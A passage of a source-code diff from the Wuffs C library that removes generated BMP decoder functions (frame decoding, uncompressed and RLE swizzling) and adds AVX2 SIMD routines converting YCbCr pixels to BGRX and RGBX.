(self->private_impl.active_coroutine != 3)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -- } -- self->private_impl.active_coroutine = 0; -- wuffs_base__status status = wuffs_base__make_status(NULL); -+ // Divide the i32x8 vectors by (1 << 16), rounding to nearest. -+ __m256i tmp1_gy_eve_lo = -+ _mm256_srai_epi32(_mm256_add_epi32(tmp0_gy_eve_lo, p8000_p0000), 16); -+ __m256i tmp1_gy_eve_hi = -+ _mm256_srai_epi32(_mm256_add_epi32(tmp0_gy_eve_hi, p8000_p0000), 16); -+ __m256i tmp1_gy_odd_lo = -+ _mm256_srai_epi32(_mm256_add_epi32(tmp0_gy_odd_lo, p8000_p0000), 16); -+ __m256i tmp1_gy_odd_hi = -+ _mm256_srai_epi32(_mm256_add_epi32(tmp0_gy_odd_hi, p8000_p0000), 16); - -- wuffs_base__status v_status = wuffs_base__make_status(NULL); -+ // Pack the ((-0x581A * Cb) + (+0x492E * Cr)) as i16x16 and subtract Cr. -+ __m256i gy_eve = _mm256_sub_epi16( -+ _mm256_packs_epi32(tmp1_gy_eve_lo, tmp1_gy_eve_hi), cr_eve); -+ __m256i gy_odd = _mm256_sub_epi16( -+ _mm256_packs_epi32(tmp1_gy_odd_lo, tmp1_gy_odd_hi), cr_odd); - -- uint32_t coro_susp_point = self->private_impl.p_decode_frame[0]; -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ // ---- - -- while (true) { -- { -- wuffs_base__status t_0 = wuffs_bmp__decoder__do_decode_frame(self, -- a_dst, -- a_src, -- a_blend, -- a_workbuf, -- a_opts); -- v_status = t_0; -- } -- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -- status = wuffs_base__make_status(wuffs_bmp__error__truncated_input); -- goto exit; -- } -- status = v_status; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -- } -+ // Add Y to (B-Y), (G-Y) and (R-Y) to produce B, G and R. -+ // -+ // For the resultant packed_x_xxx vectors, only elements 0 ..= 7 and 16 ..= -+ // 23 of the 32-element vectors matter (since we'll unpacklo but not -+ // unpackhi them). Let … denote 8 ignored consecutive u8 values and let % -+ // denote 0xFF. We'll end this section with: -+ // -+ // packed_b_eve = u8x32 [b00 b02 .. b0C b0E … b10 b12 .. b1C b1E …] -+ // packed_b_odd = u8x32 [b01 b03 .. b0D b0F … b11 b13 .. b1D b1F …] -+ // packed_g_eve = u8x32 [g00 g02 .. g0C g0E … g10 g12 .. g1C g1E …] -+ // packed_g_odd = u8x32 [g01 g03 .. g0D g0F … g11 g13 .. g1D g1F …] -+ // packed_r_eve = u8x32 [r00 r02 .. r0C r0E … r10 r12 .. r1C r1E …] -+ // packed_r_odd = u8x32 [r01 r03 .. r0D r0F … r11 r13 .. r1D r1F …] -+ // uFFFF = u8x32 [ % % .. % % … % % .. % % …] - -- ok: -- self->private_impl.p_decode_frame[0] = 0; -- goto exit; -- } -+ __m256i yy_all = _mm256_lddqu_si256((const __m256i*)(const void*)up0); -+ __m256i yy_eve = _mm256_and_si256(yy_all, u00FF); -+ __m256i yy_odd = _mm256_srli_epi16(yy_all, 8); - -- goto suspend; -- suspend: -- self->private_impl.p_decode_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; -+ __m256i loose_b_eve = _mm256_add_epi16(by_eve, yy_eve); -+ __m256i loose_b_odd = _mm256_add_epi16(by_odd, yy_odd); -+ __m256i packed_b_eve = _mm256_packus_epi16(loose_b_eve, loose_b_eve); -+ __m256i packed_b_odd = _mm256_packus_epi16(loose_b_odd, loose_b_odd); - -- goto exit; -- exit: -- if (wuffs_base__status__is_error(&status)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- } -- return status; --} -+ __m256i loose_g_eve = _mm256_add_epi16(gy_eve, yy_eve); -+ __m256i loose_g_odd = _mm256_add_epi16(gy_odd, yy_odd); -+ __m256i packed_g_eve = _mm256_packus_epi16(loose_g_eve, loose_g_eve); -+ __m256i packed_g_odd = _mm256_packus_epi16(loose_g_odd, loose_g_odd); - --// -------- func bmp.decoder.do_decode_frame -+ __m256i loose_r_eve = _mm256_add_epi16(ry_eve, yy_eve); -+ __m256i loose_r_odd = _mm256_add_epi16(ry_odd, yy_odd); -+ __m256i packed_r_eve = _mm256_packus_epi16(loose_r_eve, loose_r_eve); -+ __m256i packed_r_odd = _mm256_packus_epi16(loose_r_odd, loose_r_odd); - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_bmp__decoder__do_decode_frame( -- wuffs_bmp__decoder* self, -- wuffs_base__pixel_buffer* a_dst, -- wuffs_base__io_buffer* a_src, -- wuffs_base__pixel_blend a_blend, -- wuffs_base__slice_u8 a_workbuf, -- wuffs_base__decode_frame_options* a_opts) { -- wuffs_base__status status = wuffs_base__make_status(NULL); -+ // ---- - -- wuffs_base__status v_status = wuffs_base__make_status(NULL); -+ // Mix those values (unpacking in 8, 16 and then 32 bit units) to get the -+ // desired BGRX/RGBX order. -+ // -+ // From here onwards, all of our __m256i registers are u8x32. - -- const uint8_t* iop_a_src = NULL; -- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_src && a_src->data.ptr) { -- io0_a_src = a_src->data.ptr; -- io1_a_src = io0_a_src + a_src->meta.ri; -- iop_a_src = io1_a_src; -- io2_a_src = io0_a_src + a_src->meta.wi; -- } -+ // mix00 = [b00 g00 b02 g02 .. b0E g0E b10 g10 .. b1C g1C b1E g1E] -+ // mix01 = [b01 g01 b03 g03 .. b0F g0F b11 g11 .. b1D g1D b1F g1F] -+ // mix02 = [r00 % r02 % .. r0E % r10 % .. r1C % r1E %] -+ // mix03 = [r01 % r03 % .. r0F % r11 % .. r1D % r1F %] -+ // -+ // See also § below. -+ __m256i mix00 = _mm256_unpacklo_epi8(packed_b_eve, packed_g_eve); -+ __m256i mix01 = _mm256_unpacklo_epi8(packed_b_odd, packed_g_odd); -+ __m256i mix02 = _mm256_unpacklo_epi8(packed_r_eve, uFFFF); -+ __m256i mix03 = _mm256_unpacklo_epi8(packed_r_odd, uFFFF); - -- uint32_t coro_susp_point = self->private_impl.p_do_decode_frame[0]; -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ // mix10 = [b00 g00 r00 % b02 g02 r02 % b04 g04 r04 % b06 g06 r06 % -+ // b10 g10 r10 % b12 g12 r12 % b14 g14 r14 % b16 g16 r16 %] -+ // mix11 = [b01 g01 r01 % b03 g03 r03 % b05 g05 r05 % b07 g07 r07 % -+ // b11 g11 r11 % b13 g13 r13 % b15 g15 r15 % b17 g17 r17 %] -+ // mix12 = [b08 g08 r08 % b0A g0A r0A % b0C g0C r0C % b0E g0E r0E % -+ // b18 g18 r18 % b1A g1A r1A % b1C g1C r1C % b1E g1E r1E %] -+ // mix13 = [b09 g09 r09 % b0B g0B r0B % b0D g0D r0D % b0F g0F r0F % -+ // b19 g19 r19 % b1B g1B r1B % b1D g1D r1D % b1F g1F r1F %] -+ __m256i mix10 = _mm256_unpacklo_epi16(mix00, mix02); -+ __m256i mix11 = _mm256_unpacklo_epi16(mix01, mix03); -+ __m256i mix12 = _mm256_unpackhi_epi16(mix00, mix02); -+ __m256i mix13 = _mm256_unpackhi_epi16(mix01, mix03); - -- if (self->private_impl.f_call_sequence == 64u) { -- } else if (self->private_impl.f_call_sequence < 64u) { -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- status = wuffs_bmp__decoder__do_decode_frame_config(self, NULL, a_src); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- if (status.repr) { -- goto suspend; -- } -- } else { -- status = wuffs_base__make_status(wuffs_base__note__end_of_data); -- goto ok; -- } -- self->private_data.s_do_decode_frame[0].scratch = self->private_impl.f_padding; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -- if (self->private_data.s_do_decode_frame[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -- self->private_data.s_do_decode_frame[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -- iop_a_src = io2_a_src; -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- iop_a_src += self->private_data.s_do_decode_frame[0].scratch; -- if ((self->private_impl.f_width > 0u) && (self->private_impl.f_height > 0u)) { -- self->private_impl.f_dst_x = 0u; -- if (self->private_impl.f_top_down) { -- self->private_impl.f_dst_y = 0u; -- self->private_impl.f_dst_y_inc = 1u; -- } else { -- self->private_impl.f_dst_y = ((uint32_t)(self->private_impl.f_height - 1u)); -- self->private_impl.f_dst_y_inc = 4294967295u; -- } -- v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, -- wuffs_base__pixel_buffer__pixel_format(a_dst), -- wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8_ij(self->private_data.f_scratch, 1024, 2048)), -- wuffs_base__utility__make_pixel_format(self->private_impl.f_src_pixfmt), -- wuffs_base__make_slice_u8(self->private_data.f_src_palette, 1024), -- a_blend); -- if ( ! wuffs_base__status__is_ok(&v_status)) { -- status = v_status; -- if (wuffs_base__status__is_error(&status)) { -- goto exit; -- } else if (wuffs_base__status__is_suspension(&status)) { -- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); -- goto exit; -- } -- goto ok; -- } -- while (true) { -- if (self->private_impl.f_compression == 0u) { -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- v_status = wuffs_bmp__decoder__swizzle_none(self, a_dst, a_src); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- } else if (self->private_impl.f_compression < 3u) { -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- v_status = wuffs_bmp__decoder__swizzle_rle(self, a_dst, a_src); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- } else if (self->private_impl.f_compression == 3u) { -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- v_status = wuffs_bmp__decoder__swizzle_bitfields(self, a_dst, a_src); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- } else { -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- v_status = wuffs_bmp__decoder__swizzle_low_bit_depth(self, a_dst, a_src); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- } -- if (wuffs_base__status__is_ok(&v_status)) { -- break; -- } else if (v_status.repr != wuffs_bmp__note__internal_note_short_read) { -- status = v_status; -- if (wuffs_base__status__is_error(&status)) { -- goto exit; -- } else if (wuffs_base__status__is_suspension(&status)) { -- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); -- goto exit; -- } -- goto ok; -- } -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); -- } -- self->private_data.s_do_decode_frame[0].scratch = self->private_impl.f_pending_pad; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -- if (self->private_data.s_do_decode_frame[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -- self->private_data.s_do_decode_frame[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -- iop_a_src = io2_a_src; -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- iop_a_src += self->private_data.s_do_decode_frame[0].scratch; -- self->private_impl.f_pending_pad = 0u; -- } -- self->private_impl.f_call_sequence = 96u; -+ // mix20 = [b00 g00 r00 % b01 g01 r01 % b02 g02 r02 % b03 g03 r03 % -+ // b10 g10 r10 % b11 g11 r11 % b12 g12 r12 % b13 g13 r13 %] -+ // mix21 = [b04 g04 r04 % b05 g05 r05 % b06 g06 r06 % b07 g07 r07 % -+ // b14 g14 r14 % b15 g15 r15 % b16 g16 r16 % b17 g17 r17 %] -+ // mix22 = [b08 g08 r08 % b09 g09 r09 % b0A g0A r0A % b0B g0B r0B % -+ // b18 g18 r18 % b19 g19 r19 % b1A g1A r1A % b1B g1B r1B %] -+ // mix23 = [b0C g0C r0C % b0D g0D r0D % b0E g0E r0E % b0F g0F r0F % -+ // b1C g1C r1C % b1D g1D r1D % b1E g1E r1E % b1F g1F r1F %] -+ __m256i mix20 = _mm256_unpacklo_epi32(mix10, mix11); -+ __m256i mix21 = _mm256_unpackhi_epi32(mix10, mix11); -+ __m256i mix22 = _mm256_unpacklo_epi32(mix12, mix13); -+ __m256i mix23 = _mm256_unpackhi_epi32(mix12, mix13); - -- ok: -- self->private_impl.p_do_decode_frame[0] = 0; -- goto exit; -- } -+ // mix30 = [b00 g00 r00 % b01 g01 r01 % b02 g02 r02 % b03 g03 r03 % -+ // b04 g04 r04 % b05 g05 r05 % b06 g06 r06 % b07 g07 r07 %] -+ // mix31 = [b08 g08 r08 % b09 g09 r09 % b0A g0A r0A % b0B g0B r0B % -+ // b0C g0C r0C % b0D g0D r0D % b0E g0E r0E % b0F g0F r0F %] -+ // mix32 = [b10 g10 r10 % b11 g11 r11 % b12 g12 r12 % b13 g13 r13 % -+ // b14 g14 r14 % b15 g15 r15 % b16 g16 r16 % b17 g17 r17 %] -+ // mix33 = [b18 g18 r18 % b19 g19 r19 % b1A g1A r1A % b1B g1B r1B % -+ // b1C g1C r1C % b1D g1D r1D % b1E g1E r1E % b1F g1F r1F %] -+ __m256i mix30 = _mm256_permute2x128_si256(mix20, mix21, 0x20); -+ __m256i mix31 = _mm256_permute2x128_si256(mix22, mix23, 0x20); -+ __m256i mix32 = _mm256_permute2x128_si256(mix20, mix21, 0x31); -+ __m256i mix33 = _mm256_permute2x128_si256(mix22, mix23, 0x31); - -- goto suspend; -- suspend: -- self->private_impl.p_do_decode_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ // Write out four u8x32 SIMD registers (128 bytes, 32 BGRX/RGBX pixels). -+ _mm256_storeu_si256((__m256i*)(void*)(dst_iter + 0x00), mix30); -+ _mm256_storeu_si256((__m256i*)(void*)(dst_iter + 0x20), mix31); -+ _mm256_storeu_si256((__m256i*)(void*)(dst_iter + 0x40), mix32); -+ _mm256_storeu_si256((__m256i*)(void*)(dst_iter + 0x60), mix33); - -- goto exit; -- exit: -- if (a_src && a_src->data.ptr) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ // Advance by up to 32 pixels. The first iteration might be smaller than 32 -+ // so that all of the remaining steps are exactly 32. -+ uint32_t n = 32u - (31u & (x - x_end)); -+ dst_iter += 4u * n; -+ up0 += n; -+ up1 += n; -+ up2 += n; -+ x += n; - } -- -- return status; - } - --// -------- func bmp.decoder.swizzle_none -+// The rgbx flavor (below) is exactly the same as the bgrx flavor (above) -+// except for the lines marked with a § and that comments were stripped. -+WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2,avx2") -+static void // -+wuffs_private_impl__swizzle_ycc__convert_3_rgbx_x86_avx2( -+ wuffs_base__pixel_buffer* dst, -+ uint32_t x, -+ uint32_t x_end, -+ uint32_t y, -+ const uint8_t* up0, -+ const uint8_t* up1, -+ const uint8_t* up2) { -+ if ((x + 32u) > x_end) { -+ wuffs_private_impl__swizzle_ycc__convert_3_bgrx( // -+ dst, x, x_end, y, up0, up1, up2); -+ return; -+ } - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_bmp__decoder__swizzle_none( -- wuffs_bmp__decoder* self, -- wuffs_base__pixel_buffer* a_dst, -- wuffs_base__io_buffer* a_src) { -- wuffs_base__status status = wuffs_base__make_status(NULL); -+ size_t dst_stride = dst->private_impl.planes[0].stride; -+ uint8_t* dst_iter = dst->private_impl.planes[0].ptr + -+ (dst_stride * ((size_t)y)) + (4u * ((size_t)x)); - -- wuffs_base__pixel_format v_dst_pixfmt = {0}; -- uint32_t v_dst_bits_per_pixel = 0; -- uint32_t v_dst_bytes_per_pixel = 0; -- uint64_t v_dst_bytes_per_row = 0; -- uint32_t v_src_bytes_per_pixel = 0; -- wuffs_base__slice_u8 v_dst_palette = {0}; -- wuffs_base__table_u8 v_tab = {0}; -- wuffs_base__slice_u8 v_dst = {0}; -- uint64_t v_i = 0; -- uint64_t v_j = 0; -- uint64_t v_n = 0; -+ const __m256i u0001 = _mm256_set1_epi16(+0x0001); -+ const __m256i u00FF = _mm256_set1_epi16(+0x00FF); -+ const __m256i uFF80 = _mm256_set1_epi16(-0x0080); -+ const __m256i uFFFF = _mm256_set1_epi16(-0x0001); - -- const uint8_t* iop_a_src = NULL; -- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_src && a_src->data.ptr) { -- io0_a_src = a_src->data.ptr; -- io1_a_src = io0_a_src + a_src->meta.ri; -- iop_a_src = io1_a_src; -- io2_a_src = io0_a_src + a_src->meta.wi; -- } -+ const __m256i p8000_p0000 = _mm256_set_epi16( // -+ +0x0000, -0x8000, +0x0000, -0x8000, // -+ +0x0000, -0x8000, +0x0000, -0x8000, // -+ +0x0000, -0x8000, +0x0000, -0x8000, // -+ +0x0000, -0x8000, +0x0000, -0x8000); - -- v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); -- v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); -- if ((v_dst_bits_per_pixel & 7u) != 0u) { -- status = wuffs_base__make_status(wuffs_base__error__unsupported_option); -- goto exit; -- } -- v_dst_bytes_per_pixel = (v_dst_bits_per_pixel / 8u); -- v_dst_bytes_per_row = ((uint64_t)((self->private_impl.f_width * v_dst_bytes_per_pixel))); -- v_dst_palette = wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8_ij(self->private_data.f_scratch, 1024, 2048)); -- v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); -- label__outer__continue:; -- while (true) { -- while (self->private_impl.f_pending_pad > 0u) { -- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -- status = wuffs_base__make_status(wuffs_bmp__note__internal_note_short_read); -- goto ok; -- } -- self->private_impl.f_pending_pad -= 1u; -- iop_a_src += 1u; -- } -- while (true) { -- if (self->private_impl.f_dst_x == self->private_impl.f_width) { -- self->private_impl.f_dst_x = 0u; -- self->private_impl.f_dst_y += self->private_impl.f_dst_y_inc; -- if (self->private_impl.f_dst_y >= self->private_impl.f_height) { -- if (self->private_impl.f_height > 0u) { -- self->private_impl.f_pending_pad = self->private_impl.f_pad_per_row; -- } -- goto label__outer__break; -- } else if (self->private_impl.f_pad_per_row != 0u) { -- self->private_impl.f_pending_pad = self->private_impl.f_pad_per_row; -- goto label__outer__continue; -- } -- } -- v_dst = wuffs_base__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); -- if (v_dst_bytes_per_row < ((uint64_t)(v_dst.len))) { -- v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_dst_bytes_per_row); -- } -- v_i = (((uint64_t)(self->private_impl.f_dst_x)) * ((uint64_t)(v_dst_bytes_per_pixel))); -- if (v_i >= ((uint64_t)(v_dst.len))) { -- if (self->private_impl.f_bits_per_pixel > 32u) { -- status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); -- goto exit; -- } -- v_src_bytes_per_pixel = (self->private_impl.f_bits_per_pixel / 8u); -- if (v_src_bytes_per_pixel == 0u) { -- status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); -- goto exit; -- } -- v_n = (((uint64_t)(io2_a_src - iop_a_src)) / ((uint64_t)(v_src_bytes_per_pixel))); -- v_n = wuffs_base__u64__min(v_n, ((uint64_t)(((uint32_t)(self->private_impl.f_width - self->private_impl.f_dst_x))))); -- v_j = v_n; -- while (v_j >= 8u) { -- if (((uint64_t)(io2_a_src - iop_a_src)) >= ((uint64_t)((v_src_bytes_per_pixel * 8u)))) { -- iop_a_src += (v_src_bytes_per_pixel * 8u); -- } -- v_j -= 8u; -- } -- while (v_j > 0u) { -- if (((uint64_t)(io2_a_src - iop_a_src)) >= ((uint64_t)((v_src_bytes_per_pixel * 1u)))) { -- iop_a_src += (v_src_bytes_per_pixel * 1u); -- } -- v_j -= 1u; -- } -- } else { -- v_n = wuffs_base__pixel_swizzler__swizzle_interleaved_from_reader( -- &self->private_impl.f_swizzler, -- wuffs_base__slice_u8__subslice_i(v_dst, v_i), -- v_dst_palette, -- &iop_a_src, -- io2_a_src); -- } -- if (v_n == 0u) { -- status = wuffs_base__make_status(wuffs_bmp__note__internal_note_short_read); -- goto ok; -- } -- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(v_n))); -- } -- } -- label__outer__break:; -- status = wuffs_base__make_status(NULL); -- goto ok; -+ const __m256i m3A5E = _mm256_set1_epi16(-0x3A5E); -+ const __m256i p66E9 = _mm256_set1_epi16(+0x66E9); -+ const __m256i m581A_p492E = _mm256_set_epi16( // -+ +0x492E, -0x581A, +0x492E, -0x581A, // -+ +0x492E, -0x581A, +0x492E, -0x581A, // -+ +0x492E, -0x581A, +0x492E, -0x581A, // -+ +0x492E, -0x581A, +0x492E, -0x581A); - -- ok: -- goto exit; -- exit: -- if (a_src && a_src->data.ptr) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -+ while (x < x_end) { -+ __m256i cb_all = _mm256_lddqu_si256((const __m256i*)(const void*)up1); -+ __m256i cr_all = _mm256_lddqu_si256((const __m256i*)(const void*)up2); -+ __m256i cb_eve = _mm256_add_epi16(uFF80, _mm256_and_si256(cb_all, u00FF)); -+ __m256i cr_eve = _mm256_add_epi16(uFF80, _mm256_and_si256(cr_all, u00FF)); -+ __m256i cb_odd = _mm256_add_epi16(uFF80, _mm256_srli_epi16(cb_all, 8)); -+ __m256i cr_odd = _mm256_add_epi16(uFF80, _mm256_srli_epi16(cr_all, 8)); - -- return status; --} -+ __m256i tmp_by_eve = _mm256_srai_epi16( -+ _mm256_add_epi16( -+ _mm256_mulhi_epi16(_mm256_add_epi16(cb_eve, cb_eve), m3A5E), u0001), -+ 1); -+ __m256i tmp_by_odd = _mm256_srai_epi16( -+ _mm256_add_epi16( -+ _mm256_mulhi_epi16(_mm256_add_epi16(cb_odd, cb_odd), m3A5E), u0001), -+ 1); -+ __m256i tmp_ry_eve = _mm256_srai_epi16( -+ _mm256_add_epi16( -+ _mm256_mulhi_epi16(_mm256_add_epi16(cr_eve, cr_eve), p66E9), u0001), -+ 1); -+ __m256i tmp_ry_odd = _mm256_srai_epi16( -+ _mm256_add_epi16( -+ _mm256_mulhi_epi16(_mm256_add_epi16(cr_odd, cr_odd), p66E9), u0001), -+ 1); - --// -------- func bmp.decoder.swizzle_rle -+ __m256i by_eve = -+ _mm256_add_epi16(tmp_by_eve, _mm256_add_epi16(cb_eve, cb_eve)); -+ __m256i by_odd = -+ _mm256_add_epi16(tmp_by_odd, _mm256_add_epi16(cb_odd, cb_odd)); -+ __m256i ry_eve = _mm256_add_epi16(tmp_ry_eve, cr_eve); -+ __m256i ry_odd = _mm256_add_epi16(tmp_ry_odd, cr_odd); - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_bmp__decoder__swizzle_rle( -- wuffs_bmp__decoder* self, -- wuffs_base__pixel_buffer* a_dst, -- wuffs_base__io_buffer* a_src) { -- wuffs_base__status status = wuffs_base__make_status(NULL); -+ __m256i tmp0_gy_eve_lo = _mm256_madd_epi16( // -+ _mm256_unpacklo_epi16(cb_eve, cr_eve), m581A_p492E); -+ __m256i tmp0_gy_eve_hi = _mm256_madd_epi16( // -+ _mm256_unpackhi_epi16(cb_eve, cr_eve), m581A_p492E); -+ __m256i tmp0_gy_odd_lo = _mm256_madd_epi16( // -+ _mm256_unpacklo_epi16(cb_odd, cr_odd), m581A_p492E); -+ __m256i tmp0_gy_odd_hi = _mm256_madd_epi16( // -+ _mm256_unpackhi_epi16(cb_odd, cr_odd), m581A_p492E); - -- wuffs_base__pixel_format v_dst_pixfmt = {0}; -- uint32_t v_dst_bits_per_pixel = 0; -- uint32_t v_dst_bytes_per_pixel = 0; -- uint64_t v_dst_bytes_per_row = 0; -- wuffs_base__slice_u8 v_dst_palette = {0}; -- wuffs_base__table_u8 v_tab = {0}; -- wuffs_base__slice_u8 v_row = {0}; -- wuffs_base__slice_u8 v_dst = {0}; -- uint64_t v_i = 0; -- uint64_t v_n = 0; -- uint32_t v_p0 = 0; -- uint8_t v_code = 0; -- uint8_t v_indexes[2] = {0}; -- uint32_t v_rle_state = 0; -- uint32_t v_chunk_bits = 0; -- uint32_t v_chunk_count = 0; -+ __m256i tmp1_gy_eve_lo = -+ _mm256_srai_epi32(_mm256_add_epi32(tmp0_gy_eve_lo, p8000_p0000), 16); -+ __m256i tmp1_gy_eve_hi = -+ _mm256_srai_epi32(_mm256_add_epi32(tmp0_gy_eve_hi, p8000_p0000), 16); -+ __m256i tmp1_gy_odd_lo = -+ _mm256_srai_epi32(_mm256_add_epi32(tmp0_gy_odd_lo, p8000_p0000), 16); -+ __m256i tmp1_gy_odd_hi = -+ _mm256_srai_epi32(_mm256_add_epi32(tmp0_gy_odd_hi, p8000_p0000), 16); - -- const uint8_t* iop_a_src = NULL; -- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_src && a_src->data.ptr) { -- io0_a_src = a_src->data.ptr; -- io1_a_src = io0_a_src + a_src->meta.ri; -- iop_a_src = io1_a_src; -- io2_a_src = io0_a_src + a_src->meta.wi; -- } -+ __m256i gy_eve = _mm256_sub_epi16( -+ _mm256_packs_epi32(tmp1_gy_eve_lo, tmp1_gy_eve_hi), cr_eve); -+ __m256i gy_odd = _mm256_sub_epi16( -+ _mm256_packs_epi32(tmp1_gy_odd_lo, tmp1_gy_odd_hi), cr_odd); - -- v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); -- v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); -- if ((v_dst_bits_per_pixel & 7u) != 0u) { -- status = wuffs_base__make_status(wuffs_base__error__unsupported_option); -- goto exit; -- } -- v_dst_bytes_per_pixel = (v_dst_bits_per_pixel / 8u); -- v_dst_bytes_per_row = ((uint64_t)((self->private_impl.f_width * v_dst_bytes_per_pixel))); -- v_dst_palette = wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8_ij(self->private_data.f_scratch, 1024, 2048)); -- v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); -- v_rle_state = self->private_impl.f_rle_state; -- label__outer__continue:; -- while (true) { -- v_row = wuffs_base__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); -- if (v_dst_bytes_per_row < ((uint64_t)(v_row.len))) { -- v_row = wuffs_base__slice_u8__subslice_j(v_row, v_dst_bytes_per_row); -- } -- label__middle__continue:; -- while (true) { -- v_i = (((uint64_t)(self->private_impl.f_dst_x)) * ((uint64_t)(v_dst_bytes_per_pixel))); -- if (v_i <= ((uint64_t)(v_row.len))) { -- v_dst = wuffs_base__slice_u8__subslice_i(v_row, v_i); -- } else { -- v_dst = wuffs_base__utility__empty_slice_u8(); -- } -- while (true) { -- while (true) { -- if (v_rle_state == 0u) { -- if (((uint64_t)(io2_a_src - iop_a_src)) < 1u) { -- goto label__goto_suspend__break; -- } -- v_code = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -- iop_a_src += 1u; -- if (v_code == 0u) { -- v_rle_state = 2u; -- continue; -- } -- self->private_impl.f_rle_length = ((uint32_t)(v_code)); -- v_rle_state = 1u; -- continue; -- } else if (v_rle_state == 1u) { -- if (((uint64_t)(io2_a_src - iop_a_src)) < 1u) { -- goto label__goto_suspend__break; -- } -- v_code = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -- iop_a_src += 1u; -- if (self->private_impl.f_bits_per_pixel == 8u) { -- v_p0 = 0u; -- while (v_p0 < self->private_impl.f_rle_length) { -- self->private_data.f_scratch[v_p0] = v_code; -- v_p0 += 1u; -- } -- } else { -- v_indexes[0u] = ((uint8_t)((v_code >> 4u))); -- v_indexes[1u] = (v_code & 15u); -- v_p0 = 0u; -- while (v_p0 < self->private_impl.f_rle_length) { -- self->private_data.f_scratch[(v_p0 + 0u)] = v_indexes[0u]; -- self->private_data.f_scratch[(v_p0 + 1u)] = v_indexes[1u]; -- v_p0 += 2u; -- } -- } -- wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, wuffs_base__make_slice_u8(self->private_data.f_scratch, self->private_impl.f_rle_length)); -- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_dst_x, self->private_impl.f_rle_length); -- v_rle_state = 